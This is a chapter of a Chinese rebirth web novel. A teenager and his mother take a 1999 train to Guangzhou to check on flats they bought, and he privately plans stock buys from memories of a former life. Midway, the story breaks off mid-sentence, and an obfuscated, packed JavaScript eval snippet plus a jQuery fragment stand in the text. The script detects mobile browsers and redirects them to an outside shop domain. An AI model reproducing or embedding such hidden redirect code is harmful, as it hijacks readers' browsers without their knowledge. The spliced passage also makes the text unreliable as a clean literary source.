日子一晃过得飞快,转眼就到了暑期,叶子安正式放了暑假。
堂屋里头,吊扇悬在头顶慢悠悠吱呀转动,吹出来的风裹着盛夏潮热的气息,闷得人周身发黏。宁蕙心拉着叶子安面对面坐下,眼神里带着几分按捺不住的期许。
“儿子,要不咱们娘俩动身去一趟广市?”
叶子安正叼着冰棍小口啃着,闻言抬了抬眼皮:“跑广市干嘛去啊?”
“自然是去盯房子。”宁蕙心刻意压低了话音,明明屋里就她们母子二人,还是下意识放轻语调,“自打去年入手之后快大半年没过去瞅一眼了,那边楼盘进度、周边行情一概不清楚,搁我心里总悬着一块石头,怎么都踏实不下来。”
叶子安脑子里快速过了一遍那四套房产。去年十月拿下的房源,恰好踩中日后CBD核心腹地,入手价位也足够划算,依照前世记忆,往后妥妥能滚出千万级的身家。不过母亲说得确实在理,将近一年未曾实地探访,难保施工、产权方面冒出隐忧,过去巡查一番很有必要。再加上期末考试已经全部结束,整个暑假闲着也是闲着,出去走走也算打发时间。
“去就去呗,没啥问题。”叶子安把啃干净的冰棍棍随手搁在茶几上,“不过我爸那边,你总得跟他打声招呼吧。”
宁蕙心大手一挥,全然没放在心上:“跟他多说什么,他这阵子忙得脚不沾地,十天半个月都回不了一趟家。我只需要在桌上留张字条,他回来瞧见自然就明白了。”
叶子安看着自家母亲这副说走就走的洒脱模样,暗自抽了抽嘴角。心知母亲在家憋了许久,原先盘下来的超市早就转手出让,自己平日里整日在校上课,偌大的院子只剩她一人守着,时间久了难免憋闷压抑,借着看房的名头外出散心,倒也是件好事。
“那咱们定在什么时候动身?”
“就明天一早出发。”宁蕙心话音落下,起身就往卧房走去收拾行囊,“我去整理换洗的衣裳,你把书包腾空,随便塞两件随身衣物就行。”
叶子安望着母亲风风火火的背影无奈摇头,这行动力比起整日扑在公务上的父亲,要强出不止一截。
当晚躺在床上,叶子安睁着眼望向漆黑的天花板,窗外断断续续的蝉鸣声声入耳,衬得夏夜愈发静谧。他静下心复盘此前和母亲敲定的购房思路:原本预备拿出两百四十万预算,靠按揭贷款多囤几套房源,坐等房价走高后转手套利。可这段时间反复斟酌推演,越发察觉这套方案隐患不小。一旦背负房贷,每月固定月供压在身上,未来房租能不能稳稳覆盖月供尚且未知,若是遇上空置断租的月份,只能自掏腰包往里贴补。再加上眼下已是1999年,广市房价虽处在上行通道,但上涨节奏并不算迅猛,过早拉高杠杆,反倒会把手里现金流死死套牢,后续很难腾挪资金做别的布局。
倒不如彻底改换思路,把总预算控制在两百万以内,全部拿下现成现房,简单装修完毕立刻对外出租,靠着稳定房租细水长流。既不用按月偿还银行贷款,也不必惦记征信逾期的麻烦,房产稳稳握在手里,月月都有持续的现金流入账,容错率高了太多。
次日一早,他把这套全款收租的想法说给宁蕙心听,对方细细琢磨片刻便点头应允:“就按你说的来,算账这方面你远比我通透,听你的准没错。”
翻过身,叶子安又琢磨起余下的闲置资金。三百多万的闲钱若是一味存进银行吃活期利息,一年下来收益寥寥无几,再叠加通胀持续稀释,手里的现金只会慢慢缩水贬值。他脑海里清晰浮现出前世反复研读无数遍的K线走势,三只个股、精准入场节点早已刻在记忆深处:ST广夏约莫三十五元左右进场,五粮液十九元上下布局,深发展A十三元择机买入,往后长期走势都相当可观。后续下半年择机抛出其中一只套现,拿着这笔资金入股腾讯,剩下两只则长期持有静待增值即可。
他在心底默默默念一遍几只标的,如同将密信封存妥当。等到抵达广市后寻一家证券营业部开户入金,找准时机分批建仓,之后便安心持有不用频繁操作。
至于更远一步的腾讯布局,叶子安下意识收敛心神压下念头。眼下时机尚且不成熟,这笔投资要等到年底再谋划,现在就算专程找上门,对方尚且没走到资金匮乏的绝境,贸然登门只会吃闭门羹,完全是白费功夫。眼下只需按部就班落地手头规划,一步一个脚印稳步推进就足够。
思绪梳理完毕,他渐渐沉入睡梦之中。
第二天大清早,母子俩各自背好行囊锁上院门,直奔火车站而去。
宁蕙心提前订好了绿皮火车的卧铺票,两张都是中铺席位。发车时间在午后,刚踏进车厢,混杂的气息便扑面而来,泡面的油腥、路人的汗味、铁皮车厢独有的铁锈味交织在一起,再加上邻铺大爷脱鞋后飘散开的脚臭味,格外呛人。宁蕙心下意识蹙起鼻尖,把背包随手甩在铺位上,压低声音小声吐槽:“这人也太不讲讲究了,上车都不知道洗脚。”
叶子安顺着梯子爬上自己的中铺,把书包塞到枕头底下躺好,双脚随意搭在铺沿轻轻晃动。车厢里客流满满当当,对面下铺坐着一对年轻夫妻,怀里搂着个两三岁的孩童,小家伙窝在母亲怀中睡得正沉,脸蛋通红,嘴角还挂着一丝晶莹口水。上铺是位头顶发量稀疏的中年男人,身着一件白背心,正捧着一本书静静翻看,看不清书籍封面。
铁轨传来咣当咣当的震颤声响,火车缓缓驶出站台,一路向前行进。
没过多久,邻侧中铺的中年阿姨探出头,一眼瞥见年纪尚小的叶子安,当即来了兴致搭话:“哎哟,这么小的孩子就跟着出门远行啦?你们这是要去往哪边?”
“去广市。”宁蕙心笑着应声作答。
“跑广市是走亲戚还是出门游玩啊?”
“过去瞧瞧手头的房子。”宁蕙心随口回了一句。
“还在广市置办房产了?那可真了不得,我早听说广市房价高得吓人嘞。”阿姨顿时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705122|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来了兴致追问不停,宁蕙心不愿过多向外人细说家底,只淡淡含笑不再接话。阿姨见状也颇为识趣,转而和下铺带孩子的年轻母亲聊起育儿家常,车厢里再度恢复平缓的喧闹。
叶子安静静躺在中铺,听着下方断断续续的闲谈、孩童偶尔细碎的哼唧、车轮碾压铁轨的规律响动,眼皮越来越沉,慢慢陷入浅眠。
夜半时分,一声绵长突兀的噗响猛地将他惊醒,声响在寂静的卧铺车厢里格外刺耳,紧随其后一股怪异气味缓缓散开。叶子安惺忪睁开双眼,隔壁中铺传来男人压着嗓子的低声咒骂;对面下铺的年轻母亲也被惊扰醒来,捂着鼻翼小声抱怨几句,吐槽旁人素质太差。沉寂几秒后,某个角落飘来一声极力压抑的偷笑,转瞬便消失无踪。叶子安侧过身把脸埋进枕头,嘴角不受控制地微微上扬,绿皮火车上向来无奇不有,总能撞见各式哭笑不得的小事。
等到天光放亮,列车顺利驶入广市站台。
踏出出站口的一瞬,湿热的气流骤然裹袭而来,仿佛被滚烫的湿毛巾死死捂住全身,七月的广市酷热难耐,刚落地就让人浑身发黏。
“这地方也太熬人了,简直就是露天蒸笼,真不知道本地人常年怎么熬得住。”宁蕙心刚出站就忍不住连连抱怨,抬手虚握成扇不停扇风。
“咱们老家那边偏干燥,本地人反倒觉得北方气候干涩难适应,都是习惯问题罢了。”叶子安轻声打趣。
“再干燥也比这闷蒸的环境强。”宁蕙心嘴上嘟囔着,脚下却没停下,一手拎着包裹,一手牵着叶子安的胳膊,在拥挤的出站人流里穿梭前行。
出站之后二人寻了一家肯德基落脚,各自点了一份套餐果腹。宁蕙心咬着汉堡,目光不停打量店内往来的食客:“这边外头吃饭物价倒是不算贵。”
“广市整体餐饮消费偏低,比咱们老家要实惠不少。”叶子安捏着薯条蘸着番茄酱慢慢进食。
吃完午饭,宁蕙心拦了一辆出租车,报出楼盘具体地址。车子驶出老城核心区,一路穿过数条街道,越往珠江新城方向行进,沿途林立的塔吊越多,工地随处可见,围挡与脚手架连成一片,路面时不时扬起尘土。开车的本地师傅操着一口带着粤式腔调的普通话,透过后视镜打量二人:“靓姐,你们是过来这边看房的吧?”
“没错,过来看看早前入手的楼盘。”宁蕙心随口应道。
“今年好多北方人专程南下过来置楼,去年这一片还冷冷清清没什么看房客,今年一下子热闹起来了。”司机随口闲聊,“你们是去年入手还是近期才打算下单?”
“去年就已经买好了。”
“去年入手那可是捡到大便宜咯,这大半年房价已经悄悄往上跳了一截。”师傅语气里带着几分艳羡。
宁蕙心嘴角悄悄勾起一抹弧度,嘴上没有多言,可叶子安侧头分明瞧见她眼底藏不住的得意之色。
约莫一个钟头车程过后,出租车稳稳停在了骏景花园小区大门口。